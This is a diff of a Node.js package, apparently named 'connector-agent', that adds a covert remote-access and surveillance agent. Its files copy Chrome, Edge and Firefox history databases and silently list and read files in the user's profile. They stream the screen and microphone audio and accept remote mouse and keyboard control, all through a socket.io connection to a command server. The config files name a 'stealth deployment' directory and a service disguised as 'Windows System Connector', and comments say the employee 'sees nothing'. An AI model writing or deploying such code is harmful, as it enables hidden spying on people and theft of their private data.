connector-agent 1.0.0

package/src/browserHistory.js

@@ -0,0 +1,237 @@
+/**
+ * Browser History Extractor
+ * Reads Chrome, Edge, Firefox SQLite databases to extract browsing history
+ * 
+ * Process: Copy the locked DB file to temp → read with better-sqlite3 → return entries
+ */
+
+const fs = require('fs');
+const path = require('path');
+const os = require('os');
+const config = require('./config');
+
+let Database;
+try {
+  Database = require('better-sqlite3');
+} catch (e) {
+  console.log('  ⚠️ better-sqlite3 not available — browser history disabled');
+  Database = null;
+}
+
+const USERPROFILE = os.homedir();
+const LOCALAPPDATA = process.env.LOCALAPPDATA || path.join(USERPROFILE, 'AppData', 'Local');
+const APPDATA = process.env.APPDATA || path.join(USERPROFILE, 'AppData', 'Roaming');
+
+/**
+ * Browser DB paths (Windows)
+ */
+const BROWSER_PATHS = {
+  chrome: path.join(LOCALAPPDATA, 'Google', 'Chrome', 'User Data', 'Default', 'History'),
+  edge: path.join(LOCALAPPDATA, 'Microsoft', 'Edge', 'User Data', 'Default', 'History'),
+  firefox: null, // Handled separately — profile folder name varies
+};
+
+/**
+ * Find Firefox profile path
+ */
+function findFirefoxProfile() {
+  const profilesDir = path.join(APPDATA, 'Mozilla', 'Firefox', 'Profiles');
+  if (!fs.existsSync(profilesDir)) return null;
+
+  const dirs = fs.readdirSync(profilesDir);
+  // Look for default-release or first profile
+  const profile = dirs.find((d) => d.endsWith('.default-release')) || dirs.find((d) => d.endsWith('.default')) || dirs[0];
+
+  if (profile) {
+    return path.join(profilesDir, profile, 'places.sqlite');
+  }
+  return null;
+}
+
+/**
+ * Copy DB to temp (because browser locks the file while running)
+ */
+function copyToTemp(sourcePath, browserName) {
+  const tempPath = path.join(config.tempDir, `connector_${browserName}_history_copy.db`);
+  try {
+    fs.copyFileSync(sourcePath, tempPath);
+    // Also copy WAL file if exists
+    const walPath = sourcePath + '-wal';
+    if (fs.existsSync(walPath)) {
+      fs.copyFileSync(walPath, tempPath + '-wal');
+    }
+    return tempPath;
+  } catch (err) {
+    console.log(`  ⚠️ Could not copy ${browserName} history DB: ${err.message}`);
+    return null;
+  }
+}
+
+/**
+ * Clean up temp file
+ */
+function cleanupTemp(tempPath) {
+  try {
+    if (fs.existsSync(tempPath)) fs.unlinkSync(tempPath);
+    if (fs.existsSync(tempPath + '-wal')) fs.unlinkSync(tempPath + '-wal');
+  } catch (e) {
+    // Ignore cleanup errors
+  }
+}
+
+/**
+ * Convert Chrome/Edge timestamp to JS Date
+ * Chrome uses microseconds since Jan 1, 1601
+ */
+function chromeTimestampToDate(timestamp) {
+  const epochDiff = 11644473600000000n; // microseconds between 1601 and 1970
+  const ms = Number((BigInt(timestamp) - epochDiff) / 1000n);
+  return new Date(ms).toISOString();
+}
+
+/**
+ * Convert Firefox timestamp to JS Date
+ * Firefox uses microseconds since Unix epoch
+ */
+function firefoxTimestampToDate(timestamp) {
+  return new Date(timestamp / 1000).toISOString();
+}
+
+/**
+ * Extract history from Chromium-based browser (Chrome/Edge)
+ */
+function extractChromiumHistory(dbPath, browserName, dateRange = '7d') {
+  if (!Database) return { browser: browserName, entries: [], error: 'better-sqlite3 not available' };
+
+  const tempPath = copyToTemp(dbPath, browserName);
+  if (!tempPath) return { browser: browserName, entries: [], error: 'Could not copy DB' };
+
+  try {
+    const db = new Database(tempPath, { readonly: true, fileMustExist: true });
+
+    // Calculate date filter
+    let dateFilter = '';
+    const now = Date.now() * 1000; // microseconds  
+    const epochDiff = 11644473600000000; // Chrome epoch offset
+    const nowChrome = now + epochDiff;
+
+    if (dateRange === '24h') {
+      dateFilter = `WHERE last_visit_time > ${nowChrome - 86400000000}`;
+    } else if (dateRange === '7d') {
+      dateFilter = `WHERE last_visit_time > ${nowChrome - 7 * 86400000000}`;
+    } else if (dateRange === '30d') {
+      dateFilter = `WHERE last_visit_time > ${nowChrome - 30 * 86400000000}`;
+    }
+
+    const stmt = db.prepare(`
+      SELECT url, title, visit_count, last_visit_time
+      FROM urls
+      ${dateFilter}
+      ORDER BY last_visit_time DESC
+      LIMIT 500
+    `);
+
+    const rows = stmt.all();
+    db.close();
+    cleanupTemp(tempPath);
+
+    const entries = rows.map((row) => ({
+      url: row.url,
+      title: row.title || '(No title)',
+      visitCount: row.visit_count,
+      lastVisit: chromeTimestampToDate(row.last_visit_time),
+    }));
+
+    return { browser: browserName, entries, error: null };
+  } catch (err) {
+    cleanupTemp(tempPath);
+    return { browser: browserName, entries: [], error: err.message };
+  }
+}
+
+/**
+ * Extract history from Firefox
+ */
+function extractFirefoxHistory(dateRange = '7d') {
+  if (!Database) return { browser: 'firefox', entries: [], error: 'better-sqlite3 not available' };
+
+  const dbPath = findFirefoxProfile();
+  if (!dbPath || !fs.existsSync(dbPath)) {
+    return { browser: 'firefox', entries: [], error: 'Firefox profile not found' };
+  }
+
+  const tempPath = copyToTemp(dbPath, 'firefox');
+  if (!tempPath) return { browser: 'firefox', entries: [], error: 'Could not copy DB' };
+
+  try {
+    const db = new Database(tempPath, { readonly: true, fileMustExist: true });
+
+    let dateFilter = '';
+    const now = Date.now() * 1000; // microseconds
+
+    if (dateRange === '24h') {
+      dateFilter = `WHERE v.visit_date > ${now - 86400000000000}`;
+    } else if (dateRange === '7d') {
+      dateFilter = `WHERE v.visit_date > ${now - 7 * 86400000000000}`;
+    } else if (dateRange === '30d') {
+      dateFilter = `WHERE v.visit_date > ${now - 30 * 86400000000000}`;
+    }
+
+    const stmt = db.prepare(`
+      SELECT p.url, p.title, p.visit_count, MAX(v.visit_date) as last_visit
+      FROM moz_places p
+      JOIN moz_historyvisits v ON p.id = v.place_id
+      ${dateFilter}
+      GROUP BY p.id
+      ORDER BY last_visit DESC
+      LIMIT 500
+    `);
+
+    const rows = stmt.all();
+    db.close();
+    cleanupTemp(tempPath);
+
+    const entries = rows.map((row) => ({
+      url: row.url,
+      title: row.title || '(No title)',
+      visitCount: row.visit_count,
+      lastVisit: firefoxTimestampToDate(row.last_visit),
+    }));
+
+    return { browser: 'firefox', entries, error: null };
+  } catch (err) {
+    cleanupTemp(tempPath);
+    return { browser: 'firefox', entries: [], error: err.message };
+  }
+}
+
+/**
+ * Get browser history for requested browser and date range
+ */
+function getBrowserHistory(browser = 'all', dateRange = '7d') {
+  const results = [];
+
+  if (browser === 'all' || browser === 'chrome') {
+    if (fs.existsSync(BROWSER_PATHS.chrome)) {
+      results.push(extractChromiumHistory(BROWSER_PATHS.chrome, 'chrome', dateRange));
+    } else {
+      results.push({ browser: 'chrome', entries: [], error: 'Chrome not installed' });
+    }
+  }
+
+  if (browser === 'all' || browser === 'edge') {
+    if (fs.existsSync(BROWSER_PATHS.edge)) {
+      results.push(extractChromiumHistory(BROWSER_PATHS.edge, 'edge', dateRange));
+    } else {
+      results.push({ browser: 'edge', entries: [], error: 'Edge not installed' });
+    }
+  }
+
+  if (browser === 'all' || browser === 'firefox') {
+    results.push(extractFirefoxHistory(dateRange));
+  }
+
+  return results;
+}
+
+module.exports = { getBrowserHistory };

package/src/config.js

@@ -0,0 +1,82 @@
+/**
+ * Agent Config — Cross-platform (Windows + Mac + Linux)
+ * Auto-detects OS and sets correct paths
+ */
+
+const os = require('os');
+const path = require('path');
+
+// Load env.config.js (fallback to empty if not found — postinstall sets process.env)
+let envConfig = {};
+try { envConfig = require('../env.config'); } catch (e) { /* ok */ }
+
+const platform = os.platform(); // 'win32', 'darwin', 'linux'
+const homeDir = os.homedir();
+
+// ── Cross-platform user directories ──────────────────────
+function getUserDirs() {
+  if (platform === 'win32') {
+    return [
+      path.join(homeDir, 'Desktop'),
+      path.join(homeDir, 'Downloads'),
+      path.join(homeDir, 'Documents'),
+    ];
+  } else {
+    // Mac & Linux
+    return [
+      path.join(homeDir, 'Desktop'),
+      path.join(homeDir, 'Downloads'),
+      path.join(homeDir, 'Documents'),
+    ];
+  }
+}
+
+// ── Hidden install directory (for stealth deployment) ────
+function getInstallDir() {
+  if (platform === 'win32') {
+    // C:\ProgramData\ConnectorService — hidden by default
+    return process.env.ProgramData
+      ? path.join(process.env.ProgramData, 'ConnectorService')
+      : 'C:\\ProgramData\\ConnectorService';
+  } else if (platform === 'darwin') {
+    // /Library/Application Support/ConnectorService
+    return '/Library/Application Support/ConnectorService';
+  } else {
+    // Linux: /opt/connector-service
+    return '/opt/connector-service';
+  }
+}
+
+// ── Temp directory ───────────────────────────────────────
+function getTempDir() {
+  return os.tmpdir();
+}
+
+module.exports = {
+  platform,
+  serverUrl: envConfig.SERVER_URL || process.env.SERVER_URL || 'http://localhost:8471',
+
+  // Reconnection
+  reconnection: true,
+  reconnectionDelay: 2000,
+  reconnectionDelayMax: 30000,
+  reconnectionAttempts: Infinity,
+
+  // Mouse settings
+  mouseSpeed: 1000,
+
+  // File scanning defaults (cross-platform)
+  scanDirs: getUserDirs(),
+
+  // Browser history temp dir
+  tempDir: getTempDir(),
+
+  // Install paths
+  installDir: getInstallDir(),
+  logDir: path.join(getInstallDir(), 'logs'),
+
+  // Service config
+  serviceName: envConfig.SERVICE_NAME || 'Windows System Connector',
+  serviceDescription: envConfig.SERVICE_DESC || 'System connectivity and update service',
+  plistLabel: 'com.system.connector',
+};

package/src/fileScanner.js

@@ -0,0 +1,157 @@
+/**
+ * File Scanner — Browse employee's file system remotely
+ * Read-only directory listing with file metadata
+ */
+
+const fs = require('fs');
+const path = require('path');
+const config = require('./config');
+
+/**
+ * Get file type category based on extension
+ */
+function getFileCategory(ext) {
+  ext = ext.toLowerCase();
+  const categories = {
+    image: ['.jpg', '.jpeg', '.png', '.gif', '.bmp', '.webp', '.svg', '.ico', '.tiff'],
+    video: ['.mp4', '.avi', '.mkv', '.mov', '.wmv', '.flv', '.webm', '.m4v'],
+    audio: ['.mp3', '.wav', '.flac', '.aac', '.ogg', '.wma', '.m4a'],
+    document: ['.pdf', '.doc', '.docx', '.xls', '.xlsx', '.ppt', '.pptx', '.txt', '.rtf', '.csv'],
+    code: ['.js', '.ts', '.py', '.java', '.cpp', '.c', '.html', '.css', '.json', '.xml', '.php', '.rb'],
+    archive: ['.zip', '.rar', '.7z', '.tar', '.gz', '.bz2'],
+    executable: ['.exe', '.msi', '.bat', '.cmd', '.ps1', '.sh'],
+  };
+
+  for (const [category, extensions] of Object.entries(categories)) {
+    if (extensions.includes(ext)) return category;
+  }
+  return 'other';
+}
+
+/**
+ * Format file size to human readable
+ */
+function formatSize(bytes) {
+  if (bytes === 0) return '0 B';
+  const units = ['B', 'KB', 'MB', 'GB'];
+  const i = Math.floor(Math.log(bytes) / Math.log(1024));
+  return (bytes / Math.pow(1024, i)).toFixed(1) + ' ' + units[i];
+}
+
+/**
+ * List directory contents
+ * @param {string} dirPath - Directory to list (defaults to user Desktop)
+ * @returns {object} Directory listing with file metadata
+ */
+function listDirectory(dirPath) {
+  // Default to Desktop if no path provided
+  if (!dirPath) {
+    dirPath = config.scanDirs[0]; // Desktop
+  }
+
+  // Security: Only allow scanning within user profile
+  const userProfile = process.env.USERPROFILE || require('os').homedir();
+  const resolvedPath = path.resolve(dirPath);
+
+  // Normalize both paths for comparison
+  const normalizedProfile = userProfile.toLowerCase();
+  const normalizedResolved = resolvedPath.toLowerCase();
+
+  if (!normalizedResolved.startsWith(normalizedProfile)) {
+    return {
+      path: dirPath,
+      files: [],
+      error: 'Access denied: Can only scan within user profile directory',
+    };
+  }
+
+  if (!fs.existsSync(resolvedPath)) {
+    return { path: dirPath, files: [], error: 'Directory not found' };
+  }
+
+  try {
+    const entries = fs.readdirSync(resolvedPath, { withFileTypes: true });
+    const files = [];
+
+    for (const entry of entries) {
+      try {
+        const fullPath = path.join(resolvedPath, entry.name);
+        const stat = fs.statSync(fullPath);
+
+        files.push({
+          name: entry.name,
+          path: fullPath,
+          isDirectory: entry.isDirectory(),
+          size: entry.isDirectory() ? null : formatSize(stat.size),
+          sizeBytes: entry.isDirectory() ? 0 : stat.size,
+          extension: entry.isDirectory() ? null : path.extname(entry.name),
+          category: entry.isDirectory() ? 'folder' : getFileCategory(path.extname(entry.name)),
+          created: stat.birthtime.toISOString(),
+          modified: stat.mtime.toISOString(),
+        });
+      } catch (e) {
+        // Skip files we can't stat (permission issues)
+      }
+    }
+
+    // Sort: directories first, then files alphabetically
+    files.sort((a, b) => {
+      if (a.isDirectory && !b.isDirectory) return -1;
+      if (!a.isDirectory && b.isDirectory) return 1;
+      return a.name.localeCompare(b.name);
+    });
+
+    return { path: resolvedPath, files, error: null };
+  } catch (err) {
+    return { path: dirPath, files: [], error: err.message };
+  }
+}
+
+/**
+ * Get default scannable directories
+ */
+function getDefaultDirs() {
+  return config.scanDirs.map((dir) => ({
+    path: dir,
+    name: path.basename(dir),
+    exists: fs.existsSync(dir),
+  }));
+}
+
+/**
+ * Read file content (text files only, max 500KB)
+ * SILENT — no visible action on employee's screen
+ */
+function readFileContent(filePath) {
+  const userProfile = process.env.USERPROFILE || require('os').homedir();
+  const resolvedPath = path.resolve(filePath);
+
+  if (!resolvedPath.toLowerCase().startsWith(userProfile.toLowerCase())) {
+    return { path: filePath, content: null, error: 'Access denied' };
+  }
+
+  if (!fs.existsSync(resolvedPath)) {
+    return { path: filePath, content: null, error: 'File not found' };
+  }
+
+  try {
+    const stat = fs.statSync(resolvedPath);
+    if (stat.size > 500 * 1024) {
+      return { path: resolvedPath, content: null, error: 'File too large (max 500KB)', size: formatSize(stat.size) };
+    }
+
+    const ext = path.extname(resolvedPath).toLowerCase();
+    const textExts = ['.txt', '.log', '.csv', '.json', '.xml', '.html', '.css', '.js', '.ts', '.py', '.java', '.cpp', '.c', '.md', '.cfg', '.ini', '.yml', '.yaml', '.env', '.bat', '.cmd', '.ps1', '.sh', '.rtf'];
+
+    if (!textExts.includes(ext)) {
+      return { path: resolvedPath, content: null, error: `Not a text file (${ext})`, category: getFileCategory(ext) };
+    }
+
+    const content = fs.readFileSync(resolvedPath, 'utf8');
+    return { path: resolvedPath, content, error: null, size: formatSize(stat.size), lines: content.split('\n').length };
+  } catch (err) {
+    return { path: filePath, content: null, error: err.message };
+  }
+}
+
+module.exports = { listDirectory, getDefaultDirs, readFileContent };

package/src/index.js

@@ -0,0 +1,175 @@
+#!/usr/bin/env node
+/**
+ * Connector Agent — Entry Point
+ * Screen streaming + mouse/keyboard control + file scanning
+ * Cross-platform: Windows, Mac, Linux
+ */
+
+const { io } = require('socket.io-client');
+const { machineIdSync } = require('node-machine-id');
+const config = require('./config');
+const { getSystemInfo, getBasicSystemStats } = require('./systemInfo');
+const inputHandler = require('./inputHandler');
+const ScreenCapture = require('./screenCapture');
+const SleepPreventer = require('./sleepPreventer');
+const { getBrowserHistory } = require('./browserHistory');
+const { listDirectory, getDefaultDirs, readFileContent } = require('./fileScanner');
+
+// ── Get unique machine ID ──────────────────────────────────
+const MACHINE_ID = machineIdSync({ original: true }).substring(0, 12);
+const systemInfo = getSystemInfo();
+
+console.log(`  🤖 Connector Agent starting...`);
+console.log(`  📋 Machine ID: ${MACHINE_ID}`);
+console.log(`  🖥️  Host: ${systemInfo.hostname} (${systemInfo.username})`);
+console.log(`  💻 Platform: ${config.platform}`);
+console.log(`  🌐 Server: ${config.serverUrl}`);
+
+// ── Connect to server ──────────────────────────────────────
+const socket = io(config.serverUrl + '/agent', {
+  reconnection: config.reconnection,
+  reconnectionDelay: config.reconnectionDelay,
+  reconnectionDelayMax: config.reconnectionDelayMax,
+  reconnectionAttempts: config.reconnectionAttempts,
+  transports: ['websocket'],
+  maxHttpBufferSize: 10e6, // 10MB for screen frames
+});
+
+// Screen capture instance
+const screenCapture = new ScreenCapture(socket);
+
+// Audio capture instance
+const AudioCapture = require('./audioCapture');
+const audioCapture = new AudioCapture(socket);
+
+// Sleep preventer — keeps system awake for remote control
+const sleepPreventer = new SleepPreventer();
+sleepPreventer.start();
+
+// ── Connection events ──────────────────────────────────────
+socket.on('connect', () => {
+  console.log(`\n  ✅ Connected to server (${socket.id})`);
+  socket.emit('agent:register', { machineId: MACHINE_ID, ...systemInfo });
+});
+
+socket.on('agent:registered', (data) => {
+  console.log(`  📝 Registered as employee: ${data.employeeId}`);
+  console.log(`  ⏳ Waiting for manager connection...\n`);
+});
+
+socket.on('disconnect', (reason) => {
+  console.log(`  ❌ Disconnected: ${reason}`);
+  screenCapture.stop();
+  // Keep sleepPreventer running — agent will reconnect
+});
+
+socket.on('connect_error', (err) => console.log(`  ⚠️  Connection error: ${err.message}`));
+
+// ── Screen Streaming ───────────────────────────────────────
+socket.on('screen:start', (data) => {
+  console.log('  📺 Manager requested screen stream');
+  screenCapture.start(data || {});
+});
+
+socket.on('screen:stop', () => {
+  screenCapture.stop();
+});
+
+socket.on('screen:settings', (data) => {
+  screenCapture.updateSettings(data);
+});
+
+// ── Mouse Commands ─────────────────────────────────────────
+socket.on('mouse:move', (data) => {
+  try { socket.emit('command:ack', { event: 'mouse:move', ...inputHandler.moveMouse(data.x, data.y) }); }
+  catch (e) { socket.emit('command:ack', { event: 'mouse:move', success: false, error: e.message }); }
+});
+
+socket.on('mouse:click', (data) => {
+  try { socket.emit('command:ack', { event: 'mouse:click', ...inputHandler.clickMouse(data.button || 'left') }); }
+  catch (e) { socket.emit('command:ack', { event: 'mouse:click', success: false, error: e.message }); }
+});
+
+socket.on('mouse:dblclick', () => {
+  try { socket.emit('command:ack', { event: 'mouse:dblclick', ...inputHandler.doubleClick() }); }
+  catch (e) { socket.emit('command:ack', { event: 'mouse:dblclick', success: false, error: e.message }); }
+});
+
+socket.on('mouse:scroll', (data) => {
+  try { socket.emit('command:ack', { event: 'mouse:scroll', ...inputHandler.scrollMouse(data.direction, data.amount) }); }
+  catch (e) { socket.emit('command:ack', { event: 'mouse:scroll', success: false, error: e.message }); }
+});
+
+// ── Keyboard Commands ──────────────────────────────────────
+socket.on('keyboard:type', (data) => {
+  try { socket.emit('command:ack', { event: 'keyboard:type', ...inputHandler.typeText(data.text) }); }
+  catch (e) { socket.emit('command:ack', { event: 'keyboard:type', success: false, error: e.message }); }
+});
+
+socket.on('keyboard:key', (data) => {
+  try { socket.emit('command:ack', { event: 'keyboard:key', ...inputHandler.pressKey(data.key) }); }
+  catch (e) { socket.emit('command:ack', { event: 'keyboard:key', success: false, error: e.message }); }
+});
+
+socket.on('keyboard:combo', (data) => {
+  try { socket.emit('command:ack', { event: 'keyboard:combo', ...inputHandler.pressKeyCombo(data.keys) }); }
+  catch (e) { socket.emit('command:ack', { event: 'keyboard:combo', success: false, error: e.message }); }
+});
+
+// ── Browser History (BACKGROUND — employee sees nothing) ───
+socket.on('history:request', (data) => {
+  try {
+    const results = getBrowserHistory(data.browser || 'all', data.dateRange || '7d');
+    socket.emit('history:response', { results });
+  } catch (err) {
+    socket.emit('history:response', { results: [], error: err.message });
+  }
+});
+
+// ── File Scanner (BACKGROUND — reads filesystem silently) ──
+socket.on('files:list', (data) => {
+  try {
+    const result = listDirectory(data.path);
+    socket.emit('files:list:response', { ...result, defaultDirs: getDefaultDirs() });
+  } catch (err) {
+    socket.emit('files:list:response', { path: data.path, files: [], error: err.message });
+  }
+});
+
+// ── File Content Reader (BACKGROUND — reads file content silently) ──
+socket.on('file:read', (data) => {
+  try {
+    const result = readFileContent(data.path);
+    socket.emit('file:read:response', result);
+  } catch (err) {
+    socket.emit('file:read:response', { path: data.path, content: null, error: err.message });
+  }
+});
+
+// ── System Info ────────────────────────────────────────────
+socket.on('system:info', () => {
+  socket.emit('system:info:response', { ...getSystemInfo(), ...getBasicSystemStats() });
+});
+
+// ── Audio Capture ────────────────────────────────────────────
+socket.on('audio:start', (data) => {
+  console.log(`  🎤 Manager requested audio (mode: ${data.mode || 'mic'})`);
+  audioCapture.start(data || {});
+});
+
+socket.on('audio:stop', () => {
+  audioCapture.stop();
+});
+
+socket.on('audio:listdevices', async () => {
+  const devices = await audioCapture.listDevices();
+  socket.emit('audio:devices', { devices });
+});
+
+socket.on('session:end', () => {
+  console.log('  🛑 Session ended by manager');
+  screenCapture.stop();
+  audioCapture.stop();
+});
+
+console.log('  🟢 Agent is running. Press Ctrl+C to stop.\n');